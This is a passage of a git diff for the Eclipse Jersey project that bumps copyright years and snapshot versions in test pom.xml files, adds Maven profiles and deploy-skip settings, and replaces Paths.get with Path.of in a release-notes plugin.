     <artifactId>xml-moxy</artifactId>
diff --git a/tests/performance/test-cases/param-srl/pom.xml b/tests/performance/test-cases/param-srl/pom.xml
index d058416..3fdebab 100644
--- a/tests/performance/test-cases/param-srl/pom.xml
+++ b/tests/performance/test-cases/param-srl/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>param-srl</artifactId>
diff --git a/tests/performance/test-cases/pom.xml b/tests/performance/test-cases/pom.xml
index 240d406..3f2d1f7 100644
--- a/tests/performance/test-cases/pom.xml
+++ b/tests/performance/test-cases/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
diff --git a/tests/performance/test-cases/proxy-injection/pom.xml b/tests/performance/test-cases/proxy-injection/pom.xml
index 417a396..cd84840 100644
--- a/tests/performance/test-cases/proxy-injection/pom.xml
+++ b/tests/performance/test-cases/proxy-injection/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>proxy-injection</artifactId>
diff --git a/tests/performance/tools/pom.xml b/tests/performance/tools/pom.xml
index 6e7949d..d7577c8 100644
--- a/tests/performance/tools/pom.xml
+++ b/tests/performance/tools/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <groupId>org.glassfish.jersey.tests.performance.tools</groupId>
     <artifactId>performance-test-tools</artifactId>
diff --git a/tests/pom.xml b/tests/pom.xml
index b25b08d..fe30100 100644
--- a/tests/pom.xml
+++ b/tests/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
@@ -107,19 +107,35 @@
             </build>
         </profile>
         <profile>
+            <id>jersey-tck</id>
+            <modules>
+                <module>jersey-tck</module>
+            </modules>
+            <build>
+            </build>
+        </profile>
+        <profile>
             <id>JDK11+</id>
             <activation>
                 <jdk>[11,)</jdk>
             </activation>
             <modules>
                 <module>release-test</module>
+            </modules>
+        </profile>
+        <profile>
+            <id>JDK17+</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <modules>
                 <module>version-agnostic</module>
             </modules>
         </profile>
         <profile>
             <id>JMOCKIT-MODULE-FOR-PRE-JDK24</id>
             <activation>
-                <jdk>[1.8,24)</jdk>
+                <jdk>[11,24)</jdk>
             </activation>
             <modules>
                 <module>jmockit</module>
diff --git a/tests/release-test/pom.xml b/tests/release-test/pom.xml
index 2882162..07ffef2 100644
--- a/tests/release-test/pom.xml
+++ b/tests/release-test/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2022, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,12 +23,13 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
     <artifactId>release-test</artifactId>
+    <version>3.1.99-SNAPSHOT</version>
     <packaging>jar</packaging>
     <name>jersey-release-test</name>
 
@@ -57,6 +58,13 @@
                     </includes>
                 </configuration>
             </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-deploy-plugin</artifactId>
+                <configuration>
+                    <skip>true</skip>
+                </configuration>
+            </plugin>
         </plugins>
     </build>
 
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
index 317118d..11a417e 100644
--- a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MultiReleaseTest.java
@@ -163,6 +163,8 @@
         if (jerseyVersion.startsWith("3.0")) {
             return new DependencyPair[] {
                     new DependencyPair("org.glassfish.jersey.connectors", "jersey-helidon-connector"),
+                    new DependencyPair("org.glassfish.jersey.connectors", "jersey-jetty-connector"),
+                    new DependencyPair("org.glassfish.jersey.containers", "jersey-container-jetty-http"),
                     new DependencyPair("org.glassfish.jersey.ext", "jersey-spring6")
             };
         } else if (jerseyVersion.startsWith("3")) {
diff --git a/tests/stress/pom.xml b/tests/stress/pom.xml
index bb69102..fc0c5b2 100644
--- a/tests/stress/pom.xml
+++ b/tests/stress/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>stress</artifactId>
diff --git a/tests/version-agnostic/pom.xml b/tests/version-agnostic/pom.xml
index 1160c7f..552ac47 100644
--- a/tests/version-agnostic/pom.xml
+++ b/tests/version-agnostic/pom.xml
@@ -38,7 +38,7 @@
         <maven.compiler.source>8</maven.compiler.source>
         <maven.compiler.target>8</maven.compiler.target>
         <hk2.version>3.0.3</hk2.version>
-        <jersey.version>3.0.14</jersey.version>
+        <jersey.version>3.1.6</jersey.version>
     </properties>
 
     <build>
@@ -46,7 +46,7 @@
             <plugin>
                 <groupId>org.apache.maven.plugins</groupId>
                 <artifactId>maven-surefire-plugin</artifactId>
-                <version>3.0.0-M7</version>
+                <version>3.2.2</version>
                 <configuration>
                     <forkCount>1</forkCount>
                     <reuseForks>false</reuseForks>
@@ -75,6 +75,14 @@
                     <bsdTemplateFile>etc/config/edl-copyright.txt</bsdTemplateFile>
                 </configuration>
             </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-deploy-plugin</artifactId>
+                <version>3.1.1</version>
+                <configuration>
+                    <skip>true</skip>
+                </configuration>
+            </plugin>
         </plugins>
     </build>
 
diff --git a/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java b/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java
index eec3df2..1ddf887 100644
--- a/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java
+++ b/tools/jersey-release-notes-maven-plugin/src/main/java/org/glassfish/jersey/tools/plugins/releasenotes/ReleaseNotesMojo.java
@@ -33,7 +33,7 @@
 import java.io.IOException;
 import java.nio.charset.Charset;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.ArrayList;
 import java.util.List;
 
@@ -172,12 +172,12 @@
                                           String releaseVersion, String releaseDate,
                                           String releaseNotesFilePath,
                                           Boolean dryRun, Log log) throws IOException {
-        if (Files.notExists(Paths.get(templateFilePath))) {
+        if (Files.notExists(Path.of(templateFilePath))) {
             log.warn(String.format("There is no source template file at the given location:%s", templateFilePath));
             return;
         }
         final List<String> notesLines = new ArrayList<>();
-        final List<String> lines = Files.readAllLines(Paths.get(templateFilePath), Charset.defaultCharset());
+        final List<String> lines = Files.readAllLines(Path.of(templateFilePath), Charset.defaultCharset());
         for (final String line : lines) {
             if (line.contains(RELEASE_DATE_PATTERN)) {
                 notesLines.add(line.replace(RELEASE_DATE_PATTERN, releaseDate));
@@ -197,8 +197,8 @@
         }
         if (Boolean.FALSE.equals(dryRun)) {
             log.info(String.format("Storing release notes to file %s/%s.html", releaseNotesFilePath, releaseVersion));
-            Files.createDirectories(Paths.get(releaseNotesFilePath));
-            Files.write(Paths.get(String.format("%s/%s.html", releaseNotesFilePath, releaseVersion)), notesLines, Charset.defaultCharset());
+            Files.createDirectories(Path.of(releaseNotesFilePath));
+            Files.write(Path.of(String.format("%s/%s.html", releaseNotesFilePath, releaseVersion)), notesLines, Charset.defaultCharset());
         } else {
             log.info("Prepared release notes are not stored to file due to dryRun mode");
             log.info(String.format("File path to store release notes is: %s/%s.html", releaseNotesFilePath, releaseVersion));